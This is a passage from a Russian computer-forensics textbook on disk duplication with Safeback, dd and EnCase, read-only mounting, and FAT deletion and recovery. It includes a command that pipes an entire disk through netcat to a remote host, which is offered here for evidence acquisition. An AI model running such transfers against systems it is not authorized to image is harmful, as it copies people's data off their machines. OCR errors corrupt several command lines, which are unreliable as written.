Выбор диска для дублирования и расположение файла копии
На рис. 5.8 показан экран для выбора диска, который вы хотите дублиро-
вать. Экран выбора диска показывает физические и логические диски, ко-
торые обнаружила утилита Safeback. Поскольку цель судебного дублирова-
ния состоит в получении точного побитового дубликата исходной среды
хранения, то полностью игнорируйте буквы логических дисков. Проверь-
те, что спецификации дисков соответствуют информации, которая восста-
новлена из системной BIOS, а также информации самого физического дис-
ка. Запишите все возникшие различия. Прежде чем продолжать, убедитесь,
что Safeback способен адресовать весь жесткий диск.
Следующие несколько экранов представляют варианты размещения
файла копии. Будьте очень внимательны. Проверьте, что логический диск,
на котором вы разместили судебный дубль, не расположен на запоминаю-
щей среде источника. Эту ошибку очень легко совершить, и вы перезапи-
шите доказательство.

Компьютерный судебный процесс
117
Рис. 5.8. Экран выбора диска источника Safeback
Завершение процесса копирования
На рис. 5.9 показан активный сеанс Safeback. В ходе продолжения процесса
программа предоставит оценку времени до завершения.
Рис. 5.9. Safeback копирует жесткий диск

118
Глава 5
Функция Verify используется для подтверждения того, что созданный
файл доказательства является аккуратным представлением содержимого
информационной среды доказательства и что его можно успешно восстано-
вить. Не забудьте использовать функцию Verify на копии до того, как вер-
нуть исходный диск в работу.
ИСПОЛЬЗОВАНИЕ УТИЛИТ UNIX
ДЛЯ СУДЕБНОГО ДУБЛИРОВАНИЯ
Выполнение судебного копирования и анализа на платформе UNIX имеет
много преимуществ. Какой способ является лучшим, чтобы удержать опера-
ционную систему от изменения данных? Обеспечьте, чтобы она не опознава-
ла формат среды хранения, пока ей не будет задано. Упрощенные установки
Linux можно сконфигурировать Для игнорирования всех файловых систем
за исключением тех, которые требуются для работы операционной системы.
Она будет общаться с программно аппаратными средствами на устройствах
хранения для обмена геометриями и параметрами доступа. Это позволит
просмотреть любые конфигурации, размещенные пользователем, обеспечи-
вая полный и тщательный процесс копирования.
Предпочтительным методом получения судебных копий является выпол-
нение дублирования с помощью утилиты UNIX dd (Data Dumper). Обычно
dd используется для переноса данных из одного файла в другой с возмож-
ностью трансляции на ходу форматов данных. Она применялась в судебной
практике для получения полных, судебно признаваемых копий. В недавних
тегтах утилита UNIX dd превзошла возможности копирования всех других
доступных решений, включая коммерческие и приложения с открытым ис-
ходным кодом. Она без проблем скопировала все части тестируемой среды
хранения, включая области, где другие решения оказались несостоятель-
ны, такие как технологический трек жесткого диска. Единственным не-
достатком является отсутствие удобного интерфейса пользователя.
Создание управляемого UNIX загрузочного диска
Создание надежного загрузочного диска для Linux является наиболее слож-
ным из трех решений копирования. Как с большинством решений, включа-
ющих производные UNIX, оно является также наиболее гибким и мощным.
Начнем с предварительно компилированного дистрибутива, такого как Po-
cket Linux, Tomsrtbt или Trinux. Данные проекты предназначены для созда-
ния крошечных дистрибутивов Linux, которые умещаются на паре гибких
дисков. Чтобы использовать эти дистрибутивы в судебных ситуациях, необ-
ходимо обеспечить выполнение нескольких условий:
Дистрибутив не должен выполнять никаких операций на запоминаю-
щей среде.
Дистрибутив должен быть способен обращаться к сетевой интерфейсной
карте.

Компьютерный судебный процесс
119
Дистрибутив должен поставляться с утилитой dd и иметь возмож-
ность включать netcat.
Trinux, может быть, самое простое готовое решение для модификации
для судебного копирования. Первый гибкий диск является загрузочным яд-
ром. Он будет загружаться в память и создавать большой виртуальный диск
(RAM). Сценарий загрузки спрашивает у пользователя сетевые и систем-
ные параметры и затем запрашивает дополнительные программные диски.
В этом месте исследователь может загрузить дополнительные утилиты на
RAM диск. В связи со множеством доступных возможностей и конфигура-
ций для загрузочной последовательности Linux, необходимо быть знако-
мым с этим дистрибутивом до того, как произойдет инцидент.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Дистрибутив Tomsrtbt: http://www.toms.net/rb/
Pocket Linux: http://pocket linux.coven.vmh.net/
Trinux: http://trinux.sourceforge.net/
Создание судебной копии с помощью dd
Когда имеется система, загруженная в надежной рабочей среде, можно за-
пустить процесс копирования. Основное средство для создания судебной
копии, утилита dd, имеет множество параметров. Наиболее важные пере-
числены в таблице 5.2.
Таблица 5.2. Некоторые параметры dd
Параметр
if=
of=
bs=
count=
skip=
conv=
Описание
Определяет файл ввода
Определяет файл вывода
Определяет размер блока, или сколько данных переносится за одну операцию
Определяет, сколько блоков переносить
Определяет число блоков, которые надо пропустить в начале файла ввода
Определяет преобразование данных.
В UNIX все считается файлом, поэтому параметры if= и of= могут указы-
вать на физические устройства или логические файлы. Когда утилита dd
переносит данные, можно изменить объем передаваемых данных с: помпо
щыо комбинации параметров bs= и count=. Например, если желательно со
здать копии дисков, которые поместятся на компакт диске, используйте
следующие команды для создания четырех 620 Мбайтных файлов.
# dd if=/dev/hda of=/mnt/evid/disk1.img bs=1M count=620
# dd if=/dev/hda of=/mnt/evid/disk2.img bs=1M count=620 skip=621
# dd if=/dev/hda of=/mnt/evid/disk3.img bs=1M count=620 skip 1241
# dd if=/dev/hda of=/mnt /evid/disk4.img bs=1M count=620 skip=1861

120
Глава 5
Параметр conv= будет полезен для копирования поврежденных дисков
или восстановления дисков из компьютерных систем с другим упорядочи-
ванием байтов. Флаги conv=noerror,notrunc сообщают утилите dd, как об-
рабатывать ошибки чтения. Когда диск копируется и сектор оказывается
поврежденным, утилита dd будет пытаться прочитать заданное число раз.
Если это последовательно не выполнится, то действие по умолчанию состо-
ит в прекращении всей передачи. Флаг noerror заставляет утилиту dd запи-
сать сектор из всех нулей (или null) в поток вывода, если она встречается с
невосстановимой ошибкой. Второй флаг notrunc позволит dd непрерывно
обновлять поток вывода, не перезаписывая старый файл.
Если система имеет устройство магнитной ленты, можно сохранить дуб-
лированную копию на магнитной ленте с помощью следующей команды:
# dd if=/dev/hda of=/dev/rstO
Другой возможностью для сохранения копий дисков является использо-
вание судебной рабочей станции, соединенной с доказательством при помо-
щи кабеля Fast Ethernet. Настройте судебную рабочую станцию для приема
входящих соединений на порт TCP с помощью netcat. Когда данные будут по-
лучены, отправьте их в логический файл вашей запоминающей среды. Сле-
дующая командная строка будет слушать порт TCP 7000, получать копию, ко-
торая меньше 2 Гбайт, и сохранять вывод. Если вы намерены сохранять
диски больше 2 Гбайт, создайте сценарий на языке оболочки или PERL,
чтобы определять длину записи входящего потока.
# netcat  1  р 7000 > /mnt/evid/dw 7.dd
На машине доказательства необходимо загрузиться с помощью надежно-
го дистрибутива Linux, и начать процесс копирования dd. Вместо опреде-
ления файла вывода с помощью "of=" направьте вывод через netcat.
# dd if=/dev/hda | nc 192.168.4.4 7000
Не забудьте вычислить хеш значения MD5 для информационной среды
источника, а также полученной копии, которая признается в качестве дока-
зательства.
ИСПОЛЬЗОВАНИЕ ENCASE
EnCase является сегодня наиболее популярной автономной программой су-
дебного анализа. Она проста в использовании. EnCase предлагает интер-
фейс Windows и развитый набор возможностей, которые существенно уве-
личивают эффективность судебного исследования. Вот некоторые из
возможностей EnCase:
Поддержка файловых систем FAT12, FAT16, FAT32, NTFS, Linux и
Macintosh. Новая версия (EnCase 3.0) добавит дополнительную под-
держку файловой системы UNIX.
Анализ хеша, который сравнивает известные сигнатуры файлов с рас-
ширениями файлов, чтобы определить, не пытается ли пользователь
скрыть доказательство, предоставляя поддельное расширение

Компьютерный судебный процесс
121
Возможность автоматически находить, извлекать и выводить извест-
ные графические форматы файлов изображений (.gif, .jpg, .bmp и
многие другие).
Возможность выполнять анализ файла доказательства EnCase, поэто-
му нет необходимости восстанавливать копию на отдельной среде
хранения. Это сохраняет ресурсы (необходимость дополнительных
жестких дисков) и время.
Интерфейс, похожий на проводник Windows, для доступа ко всем
файлам в системе.
Развитые возможности поиска строк, которые допускают мультиза
дачность. Можно выполнять поиск строки в фоновом режиме во вре-
мя просмотра и сортировки доказательства на переднем плане.
Возможность выполнять поиски текстовых строк на нескольких фай-
лах доказательства, которые могут представлять отдельные жесткие
диски. Например, можно выполнять поиск на данных, содержавших-
ся на шести отдельных жестких дисках.
Средство для создания интегрированного отчета об исследовании,
которое позволяет зафиксировать относящиеся к делу данные. EnCase
генерирует файл формата rtf (rich text file), который можно легко
импортировать в различные текстовые процессоры, делая создание
отчета почти автоматическим.
ННИМАНИЕ Согласно Jennifer Higdon, представителю Guidance Software (созда-
телю EnCase), более 2000 правоохранительных агентств используют
EnCase.
При правильном использовании EnCase сберегает буквально дни работы.
Конечно, ни одна судебная утилита не может делать все, но EnCase опреде-
ленно подошел к этому ближе всех. На рис. 5.10 показан интерфейс EnCase.
Отметим, что можно просматривать все файлы, одиночные файлы, отчет,
результаты поиска строки или весь случай.
Создание файлов доказательства с помощью EnCase
EnCase на самом деле не выполняет судебного дублирования информацион-
ной среды доказательства. Он, скорее, создает файлы доказательства, КОТО
рые являются точным представлением данных среды хранения доказатель
ства. С помощью EnCase задание таких файлов сводится к указанию И
щелчку на кнопке.
На рис. 5.11 --- 5.13 показаны экраны EnCase при дублировании жесткого
диска EIDE. На рис. 5.11 изображено, что два различных физических диска
присоединены к судебной рабочей станции. Физический диск 0 является
нашей судебной рабочей станцией, а физический диск 1 --- дублируемым
физическим диском.
На рис. 5.12 мы заполняем форму, которая помогает создать порядок
хранения файла доказательства.

РИС. 5.10. Рабочая среда EnCase
РИС. 5.11. Выбор диска доказательства в EnCase

Компьютерный судебный процесс
123
Рис. 5.12. Запись идентификационных данных для файла доказательства
На рис. 5.13 выбирается размер, сжатие и имя файла доказательства ути-
литы EnCase. Она создает файлы доказательства, которые имеют свой соб-
ственный формат файла. Таким образом, EnCase не создает зеркальную
Рис. 5.13. Выбор параметров для файла доказательства EnCase

124
Глава 5
копию диска доказательства, который дублируется. Он создает точное пред-
ставление данных на диске доказательства, которое хранится в файле, пред-
назначенном только для чтения. Они практически защищены от подделки
(вы узнаете, если кто то изменит или повредит файлы доказательства). В
этом примере мы выбрали создание файла доказательства в 640 Мбайт,
чтобы потом можно было записать каждый файл доказательства на ком-
пакт диск для постоянного хранения. При желании можно ввести пароль
для защиты файла доказательства, чтобы другие пользователи EnCase не
смогли увидеть созданный файл доказательства..
После выбора параметров для файла доказательства на экране Output
File, щелкните на кнопке Finish. EnCase начнет создавать файл судебного
доказательства на жестком диске, который был выбран для хранения.
Использование EnCase для предварительного просмотра
дисков доказательства
EnCase имеет уникальное средство, называемое Preview, которое позволяет
исследовать все содержимое жесткого диска (или другой среды хранения),
НАГЛЯДНЫЙ ПРИМЕР
Придерживайтесь своих полномочий при выполнении судебного анали-
за на подозрительной компьютерной системе. В судебном разбирательст-
ве "Правительство Соединенных Штатов против Carey" 172 F.3d 1268
(10th Cir., 1999) строго определены полномочия. Не разрешается выхо-
дить за их рамки при поиске компьютерной запоминающей среды. Во
время рассмотрения случая правоохранительный персонал получил пол-
номочие на обыск компьютеров обвиняемого в поисках доказательства
торговли наркотиками. Полномочие было написано таким образом, что
ограничивало поиск определенными именами, телефонными номерами,
бухгалтерскими главными книгами, приходными ордерами, адресами и
другими документарными свидетельствами, относящимися к продажам и
распространению контролируемых веществ.
Во время судебного анализа исследователь обнаружил многочислен-
ные файлы типа jpg. Вероятно, исследователь не мог просматривать
файлы jpg с помощью программного обеспечения, которое он использо-
вал. Он сохранил файлы на гибком диске и просмотрел их на другой сис-
теме. После краткого исследования файлов jpg офицер понял, что рас-
сматриваемый компьютер содержит по крайней мере одно изображение
детской порнографии. Затем он начал искать на жестком диске другое
доказательство детской порнографии, отказавшись от первоначальной
цели поиска.
Суд постановил, что своими действиями офицер нарушил Четвертую
поправку. Важно отметить, что правительство безуспешно доказывало,
что Plain View Doctrine разрешает поиск файлов с детской порнографией.
Поэтому случай Carey подтверждает, что исследователь не может вручную
просматривать отдельные файлы в согласованном усилии получим, ин
формацию вне обозначенной цели и области выданных полномочий.

Компьютерный судебный процесс
125
не сохраняя никакие результаты. Другими словами, можно выполнять по-
иски строк, хеш значений и просматривать каждый файл на диске доказате-
льства. Однако вы не сможете сохранить никакие из просматриваемых дан-
ных. Это предоставляет быстрый, не вмешивающийся в работу программ
способ реагирования на инцидент для подтверждения или отказа от подо-
зрения.
Многие сотрудники реагирования обращаются к действующему Провод-
нику Windows на системе доказательства для поиска доказательства. Это яв-
ляется ужасной ошибкой! Проводник разрушит данные, изменяя отметки
времени/даты файлов, временные файлы и другую изменчивую информа-
цию. Исследователь не может использовать Проводник для просмотра фай-
ловых зазоров, файлов своппинга, удаленных файлов, потоковых файлов
NT или не размещенного пространства на диске. Средство Preview из EnCase
позволяет полностью исследовать или просмотреть систему без изменения
среды доказательства. Оно поддерживает более углубленный и объективный
процесс поиска, чем случайное перемещение по каталогам в Проводнике.
ВЫП0ЛНЕНИЕ СУДЕБНОГО АНАЛИЗА
Судебный анализ --- это процесс, который использует исследователь для об-
наружения информации, значимой для исследования. Процесс судебного
анализа можно разделить на две категории: физический анализ и логический
анализ.
Физический анализ состоит из поиска строк и извлечения данных по
всей копии, от нормальных файлов до недоступных частей запоминающей
среды. Логический анализ заключается в анализе файлов в разделах. Вы внима-
тельно рассматриваете файловую систему в ее исходном формате, проходи-
те по деревьям каталогов таким же образом, как вы это обычно делаете на
своем собственном компьютере. Рекомендуется использовать насколько воз-
можно для логического анализа ОС Linux в качестве основной операцион-
ной системы, чтобы обеспечить целостность доказательства без изменений.
ВНИМАНИЕ Данные определяются как относительно недоступные, когда опера-
ционная система не может обратиться к блокам среды хранения с
помощью собственных средств. Примером этого являются имею-
щие некоторое значение данные одного трека в начале каждого же-
сткого диска в системах на базе Intel. Кроме первого сектора трек
является зарезервированным пространством и обычно не исполь-
зуется. Большинство операционных систем не разрешает пользова-
телю обращаться к этой области через логическую файловую
систему, поэтому необходимо использовать специальные методы
для извлечения данных для отдельного анализа.
Информация, полученная в одном слое судебного анализа, может или не
может быть легко доступной из другого. На рис. 5.14 показано некоторое ин-
формационное перекрытие, с которым можно столкнуться при выполнении
физического и логического анализов.

126
Глава 5
Физический анализ
Логический анализ
Рис. 5.14. Пересечение информации при анализе логического и физического слоев
Выполнение физического анализа
Во время физического анализа разыскиваются необработанные данные в
запоминающей среде. Иногда вы будете начинать свое исследование здесь,
например при поиске содержимого незнакомого или поврежденного жест-
кого диска.
Когда программное обеспечение копирования безусловно сохраняет си-
стему, вы можете анализировать данные с помощью трех основных процес-
сов: поиск строки, процесс поиска и извлечения и извлечение свободного
пространства и незаполненных остатков кластеров файлов или файловых
зазоров (file slack --- память, которая существует от конца файла до конца
последнего выделенного для файла кластера). Все операции выполняются
на судебных копиях на восстановленной копии доказательства. Поиски
строк для создания списков данных будут часто выполняться. Они будут по-
лезны при дальнейших фазах исследования. Некоторые создаваемые спис-
ки включают:
Все URL Web сайтов в запоминающей среде
Все адреса e mail в запоминающей среде
Все найденные соответствия строке поиска, которые включают спе-
цифические для случая ключевые слова
Выполнение поиска строки
Первым процессом физического анализа является поиск строки во всей
файловой системе. Наиболее аккуратной утилитой в среде DOS является
StringSearch, написанная Дэнни Маресом. Эта утилита возвращает контекст
найденной строки, а также смещение байтов от начала файла. При про-
смотре результатов поиска строки имеется удобный сценарий для преобра-
зования смещения в абсолютное значение сектора.

Компьютерный судебный процесс
127
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
StringSearch: http://www.maresware.com
Выполнение поиска и извлечения
Некоторые типы случаев могут получить преимущество от специальных
форм поиска строки. Это процесс поиска и извлечения, который является
вторым из трех методов, используемых во время физического анализа.
Приложение будет просматривать файл судебной копии в поисках заголов-
ков типов файлов, соответствующих типу случая, с которым мы работаем.
Когда встречается соответствие, утилита извлекает заданное число байтов.
Например, при исследовании лица, которое подозревается в распростра-
нении нелегальной порнографии, просматривается судебная копия и изв-
лекаются фрагменты данных, которые начинаются со следующей шестнад
цатеричной строки:
$4А $46 $49 $46 $00 $01
Эта строка уникальным образом идентифицирует начало изображения
JPEG. Некоторые форматы файлов (включая JPEG) включают длину файла
в заголовок. Это очень полезно при извлечении необработанных данных
из судебных копий. Такая возможность извлечения файла будет очень по-
лезна в файловых системах, которые повреждены или когда обычные ути-
литы восстановления являются громоздкими или полностью отказывают.
ф ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Источник форматов файлов и спецификаций заголовков: http://www.wotsit.org
Извлечение файлового зазора и свободного пространства
Неиспользуемые остатки файловой системы существуют во всех файловых
системах. Типы остатков распадаются на две категории: свободное, или не-
распределенное пространство, и неактивное (slack) пространство.
Свободным пространством является любая информация на жестком диске,
которая в данный момент не выделена для файла. Свободное пространство
может быть пространством, которое никогда не выделялось файлу или про-
странством, которое считается освобожденным после удаления файла. По-
этому содержимое свободного пространства может быть фрагментами уда-
ленных файлов. Свободное пространство может располагаться в любой
дисковой области, которая не распределена для активного файла, такой
как пустой блок данных в середине третьего раздела или нераспределен-
ный сектор 4253 на диске. Он не является частью раздела, так как попадает
между заголовком раздела и таблицей размещения первого файла. Инфор-
мация предыдущих записей может по прежнему находиться в этих областях
и быть недоступной для обычных пользователей. Чтобы выполнить анализ
свободного пространства, необходимо работать на физическом уровне копии.
Неактивное пространство возникает, когда данные записываются на запоми-
нающую среду порциями, которые не могуг заполнить блок минимального
размера, определенный операционной системой.

128
Глава 5
Если мы решаем извлекать файловые зазоры и свободное пространство,
то это становится третьим основным процессом физического анализа. Та-
кой процесс требует утилиты, которая понимает определенную используе-
мую файловую структуру. Если вы активно работаете на правоохранитель-
ное агентство, то вполне можете использовать набор утилит, созданный
Royal Canadian Mounted Police. Эти утилиты продолжают оставаться наибо-
лее точными из тех, что уже использовались. Коммерческие организации
могут приобрести утилиты у NTI. Утилиты NTI являются одними из немно-
гих, которые могут надежно извлекать файловые зазоры и неиспользуемое
пространство из NTFS компании Microsoft.
ВНИМАНИЕ Некоторые организации, как в коммерческом секторе, так и в пра-
вительственном (в частности, NASA Office of the Inspector General)
разработали свои собственные утилиты для выполнения всех этих
задач за одну операцию. Эта автоматизация сбора информации по-
могает аналитику сэкономить время.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Утилиты NTI для извлечения файлов: http://www.nti.com
Логический анализ
Во время логического просмотра файлов вы сможете увидеть содержимое
каждого раздела с помощью операционной системы, которая понимает фай-
ловую систему. На этом этапе делается большинство ошибок при обработке
доказательства. Исследователь должен знать обо всех действиях, которые
реализуются на восстановленной копии. Поэтому редко используются более
"удобные" операционные системы, такие как Windows 95/NT, 2000. Здесь
также основная цель состоит в защите доказательства от изменения.
Монтирование или обращение к восстановленной копии из операцион-
ной системы, которая сама использует этот формат файловой системы, яв-
ляется достаточно рискованным, так как процесс монтирования обычно
недокументирован, недоступен для открытого доступа и непроверяем. Вос-
становленная копия должна быть защищена, поэтому монтируется каждый
раздел под Linux в режиме только для чтения. Смонтированная файловая
система затем экспортируется с помощью Samba в безопасную лабораторную
сеть, где системы Windows 2000, загруженные вместе с просмотрщиками
файлов, могут внимательно рассмотреть файлы. Подход диктуется самим
случаем. Если берется судебный дубликат системы Irix 6.5, вероятно, не бу-
дет использоваться Windows 2000 для просмотра данных.
Предположим, что имеется восстановленная копия системы Windows 98
на втором диске IDE. Вы уже знаете из выполненных ранее тестов, что пер-
вый раздел был отформатирован с помощью FAT32. Вы хотите смонтировать
диск под Linux. Команда монтирования первого раздела второго диска IDE
в режиме только для чтения под /mnt/evidl выглядит следующим образом:
# mount  r  t msdos /dev/hdb1 /mnt/evid1

Компьютерный судебный процесс
129
Затем вы захотите предложить эту файловую систему своим системам
Windows с помощью протокола SMB (Server Message Block). Конфигураци-
онные параметры для файла /usr/local/etc/smb.conf будут следующими:
[restored]
comment = Read only access to restored image
path = /mnt/evid1
read only = yes
После перезапуска процесса Samba можно безопасно делать логический
анализ под Windows 2000.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
SAMBA Часто задаваемые вопросы: http://usl.samba.org/samba/docs/FAQ/
Определение места доказательства
Мы классифицируем местоположения, где исследователь может обнару-
жить информацию, представляющую ценность для исследования, на три
области:
Логическое файловое пространство Относится к блокам жесткого
диска, которые во время исследования являются либо выделенными
для активного файла, либо для учетной структуру файловой системы
(такой как таблицы FAT или структуры inode).
Неактивное пространство Состоит из блоков файловой системы,
которые частично используются операционной системой. Мы назы-
ваем все типы неиспользуемых файловых остатков, такие как файло-
вые зазоры и зазоры в RAM как неактивное пространство.
Нераспределенное пространство Любой незапрошенный сектор,
независимо от того, попадает он или нет в активный раздел.
Данные на жестком диске делятся на уровни, аналогично уровням сете
вой модели OSI. Вы найдете информацию доказательного значения на всех
этих уровнях. Задача состоит в поиске подходящего инструмента для извле-
чения информации. Таблица 5.3 показывает отношения между секторами,
кластерами, разделами и файлами. Подобная информация поможет опре-
делить тип инструмента, который желательно будет использовать для изв-
лечения информации. Каждый уровень файловой системы имеет особое
предназначение как для операционной системы, так и для компьютерного
оборудования.

130
Глава 5
Таблица 5.3. Уровни хранения файловой системы
Уровень файловой системы
Память приложений
Классификация информации
Распределение пространства
памяти
Формат блоков
Классификация данных
Физический
Расположение доказательства
в DOS или в Windows
Файлы
Каталоги и папки
FAT
Кластеры
Разделы
Абсолютные секторы или C/H/S
Расположение
доказательства в Linux
Файлы
Каталоги
Inode и битовые отображения
данных
Блоки
Разделы
Абсолютные секторы
Физический уровень
Самым нижним уровнем системы хранения файлов является физический
уровень. Он всегда присутствует, независимо от операционных систем, ко-
торые находятся на жестком диске. Машина будет читать и записывать на
жесткий диск блоками или секторами. Большинство типов процессорных
архитектур, включая Intel и Sun Sparc, используют 512 байтный размер сек-
тора. Это минимальный размер буфера, который будет пересылаться с жест-
кого диска.
Абсолютные секторы начинаются с нуля и увеличиваются до конца диска.
Оборудование Intel также предоставляет пользователю через BIOS интер-
фейс цилиндр/головка/сектор (C/H/S). Это обозначение, используемое
оборудованием для вычисления абсолютных номеров секторов, обычно не
применяется в системах на основе SCSI, так как контроллер SCSI обрабаты-
вает все трансляции внутренне.
ВНИМАНИЕ Много особенностей существует в системе C/H/S при работе с боль-
шими дисками. Прекрасное объяснение этих вопросов можно найти
в книге Scott Mueller, Upgrading and Repairing PCs (Que, 2000).
Уровень классификации данных
Сразу над уровнем абсолютных секторов лежат таблицы разделов. Разделы
являются способом деления диска на отдельные области, обычно для раз-
личных операционных систем или функций операционных систем. Micro-
soft Windows присваивает буквы дисков форматированным разделам FAT
или NTFS. В UNIX каждый раздел содержит отдельную часть файловой сис-
темы в целях безопасности или надежности системы.
Если вы знакомы с Solaris или другой разновидностью BSD, то можно ис-
пользовать термин секция (slice). Секции являются в BSD эквивалентом раз-
делов. Однако таблица хранится совершенно другим образом, поэтому не на-
дейтесь, что редактор диска правильно покажет таблицы разделов BSD.
Некоторые системы UNIX на платформах Intel используют гибридные табли-
цы разделов, где таблица основного раздела (master) соответствует специфи-
кации DOS. Однако первые несколько секторов раздела UNIX определяют

Компьютерный судебный процесс
131
секции в этом разделе DOS. Это предоставляет операционной системе
UNIX требуемую гибкость, поддерживая в то же время возможность сосу-
ществования с другими операционными системами на одном и том же диске.
Уровень формата блока
Следующий уровень хранения файловой системы относится к коэффици-
енту блокирования, который используется операционной системой. Раз-
мер блоков зависит от трех переменных: типа файловой системы, размера
файловой системы и знаний системного администратора, так как большин-
ство файловых систем UNIX можно индивидуализировать.
Каждая файловая система определяет свою собственную схему размеще-
ния данных в среде хранения. Большинство используют размер блока, оп-
тимизированный для размера диска или раздела. Не так давно, когда жест-
кие диски имели 32 Мбайта, Microsoft DOS FAT12 выделяла 4096 байт для
каждого блока, или кластера. Это отображалось в 8192 размещенные еди-
ницы. Что произошло бы, если бы мы использовали тот же размер класте-
ра на диске 2.1 GB? При 4096 байт на кластер мы будем иметь 524288 разме-
щенных единиц для поиска каждый раз, когда захотим записать или
обновить файл. Более новые версии этих файловых систем используют
скользящий масштаб (см. таблицу 5.4).
Таблица 5.4. Размеры блоков, используемых FAT12, FAT16 и FAT32
Размер жесткого диска
От0до16Мбайт
От 16 до 128 Мбайт
От 128 до 256 Мбайт
От 256 до 512 Мбайт
От 512 до 1024 Мбайт
От 1024 до 2048 Мбайт
От 2048 до 6128 Мбайт
FAT12
4096 байт
нет
нет
нет
нет
нет
нет
FAT16
2048 байт
2048 байт
4096 байт
8192 байта
16384 байта
32768 байт
нет
FAT32
512 байт
512 байт
512 байт
4096 байт
4096 байт
4096 байт
4096 байт
Увеличение размера размещаемых единиц имеет также недостатки.
Представим сохранение небольшого текстового файла из Windows Note-
pad. На диске в 2 Гбайта придется использовать 32768 байт, независимо от
того, действительно ли вы напечатаете 32768 буквы или введете 10 цифро
ВОЙ телефонный номер. Со временем это создаст большой объем неисполь-
зуемого пространства. Более развитые файловые системы, такие как Linux
EХТ 2 и BSD UFS, используют небольшой размер блока и делят раздел па
управляемые отрезки, каждый со своей собственной таблицей распределе-
ния. Это "неиспользуемое" пространство будет интересовать нас в дальней
ШСМ, поэтому помните о нем.

132
Глава 5
Уровень размещения области памяти
Уровень хранения файлов над уровнем коэффициента блокирования явля-
ется таблицей размещения. Существуют две, иногда больше ста таблиц раз-
мещения. В системе FAT (FAT12, FAT16 и FAT32) они называются таблица-
ми FAT (File Allocation Table). Каждый раздел имеет две таблицы FAT,
которые расположены в начальном секторе раздела.
Файловые системы UNIX имеют множество таблиц размещения фай-
лов, распределенных по диску. Существует таблица для каждого подблока,
так как UFS и ЕХТ2 делят каждый раздел на меньшие отрезки, называемые
группами. Эти таблицы являются жизненно важными, так как они содержат
битовые отображения размещения блоков, отслеживающих, какие блоки
данных используются. Большинство современных операционных систем
выполняют проверку через заданные интервалы, чтобы обеспечить досто-
верность информации таблицы. Если таблицы разрушаются, для восстанов-
ления файлов в разделе обычно требуется углубленный анализ.
Если у вас есть свободные дни, вы можете намеренно испортить пару
таблиц FAT. Фактически мы полагаем, что близкое знакомство с файловы-
ми системами и их структурами является жизненно важным шагом в пони-
мании компьютерных судебных доказательств. Простая, использующая гра-
фический интерфейс утилита, которая автоматизирует сбор и обработку
доказательств, не поможет стать настоящим судебным аналитиком.
В качестве упражнения в восстановлении файла начните на логическом
уровне. Откройте диск с помощью Norton Unerase и восстановите файловую
систему с помощью команды Search for Lost Filenames (Поиск потерянных
имен файлов). Вы заметите, что если файлы восстанавливаются на своем ме-
сте, то вероятность восстановления файлов в последующем во время анали-
за будет уменьшаться. Norton Unerase сделает все что может, чтобы предска-
зать правильную последовательность блоков данных. Предположим, что
каждый блок данных занимает 2048 байт и файловая система будет FAT 16.
Это означает, что нумерация кластеров начинается с 2. На рис. 5.15 изобра-
жается состояние блоков данных, таблицы размещения и записей каталога
после следующих трех операций:
Создан файл TEST.1, занимающий 4659 байт или 3 блока данных.
Создан файл TEST.2, занимающий 2503 байта или 2 блока данных.
К файлу TEST.1 добавлено 8907 байт, увеличивая общий размер файла
до 13566 байт или 7 блоков.
Отметим, что таблица размещения блоков является просто "цепочкой",
по которой движется операционная система при реконструкции файла.
Каждый блок может иметь одно из трех значений. Если для файла сущест-
вуют дополнительные блоки данных, то блок указывает на следующий блок
в цепочке. Если блок данных является последним блоком файла, то он содер-
жит маркер конца файла (EOF), шестнадцатеричное значение от FF F8 до FF
FF. Если блок данных не может надежно хранить данные, операционная сис-
тема пометит его как "Bad" (Плохой), задавая значение FF F7. В этом приме-
ре мы фрагментируем файловую систему, добавляя более 1485 байт в файл
TEST.1.

Компьютерный судебный процесс
133
Блоки данных (кластеры}
2
3
4
56
78
9
101112
ААА ВВАААА
Таблица размещения файлов (FAT)
23
4
56
78
9
101112
3476EOF8910EOF00
Записи каталога
Имя файла
Размер
Дата
Время
Начальный кластер
TEST.1
13566
02 04 01 12:53pm
2
TEST.2
2503
02 04 01 12:56pm
5
Рис. 5.15. Состояние файловой системы после создания двух файлов и добавления
байтов к одному из файлов
Сотрем оба файла. Операционная система MS DOS стирает файлы двух
шаговым процессом. Сначала она помечает записи каталога как недействи-
тельные, заменяя первый символ символом сигмы в нижнем регистре
(шестнадцатеричное значение Е5). Затем она очищает цепочку FAT, поме-
чая все блоки данных как пустые. Состояние файловой системы после уда-
ления показано на рис. 5.16. Отметим, что блоки данных остаются нетрону-
тыми. Это поведение является общим практически для всех файловых
систем. Когда программисты кодируют файловую систему, они оптимизи-
руют скорость, а не безопасность. Для удаления пары байтов указателей
(например, в FAT) требуется меньше времени, чем для удаления каждого
блока данных, который принадлежит файлу.
НИИМАНИЕ Наш коллега, Куртис Роуз, исследовал различные методы, которые
используют для стирания аппаратные устройства хранения, такие
как флэш карты, SmartMedia, и другие устройства памяти на полу-
проводниках. Все до сих пор тестированные реализации выполняю!
простое удаление указателей вместо реальной процедуры стира-
ния. Причины являются очевидными, и они имеют смысл для данных
технологий. Такие факторы, как время службы батареи и конечное)
число записей, заставляют разработчиков быть консервативными.

134
Глава 5
Блоки данных (кластеры)
23456789101112
АААВВАААА
Таблица размещения файлов (FAT)
23456789101112
00000000000
Записи каталога
Имя файла
Размер
Дата
Время Начальный кластер
sEST.1
13566
02 04 01 12:53pm
2
sEST.2
2503
02 04 01 12:56pm
5
Рис. 5.16. Состояние файловой системы после удаления двух файлов
Norton Unerase, подобно большинству программ восстановления фай-
лов, ищет в дереве каталогов имена файлов, которые начинаются с симво-
ла заполнителя сигма (шестнадцатеричного Е5). Когда такой символ най-
ден, приложение начинает с кластера со смещением, указанным в записи
каталога. Если этот кластер не объявлен другим файлом в таблице размеще-
ния блоков, файл помечается как хороший кандидат для восстановления.
Приложение будет затем предполагать, что следующие п кластеров (где п
равно размеру файла, определенному в записи каталога, деленному на раз-
мер кластера) принадлежат данному файлу. В этом примере размер исход-
ного файла равен 13566 байт, или 7 кластерам. 7 кластеров, следующих за
начальным кластером, отмечены как свободные. Так как таблица размеще-
ния блоков была очищена, то приложение Unerase не имеет возможности,
кроме предположения, что файлы являются смежными.
Большинство коммерческих программ восстановления файлов автома-
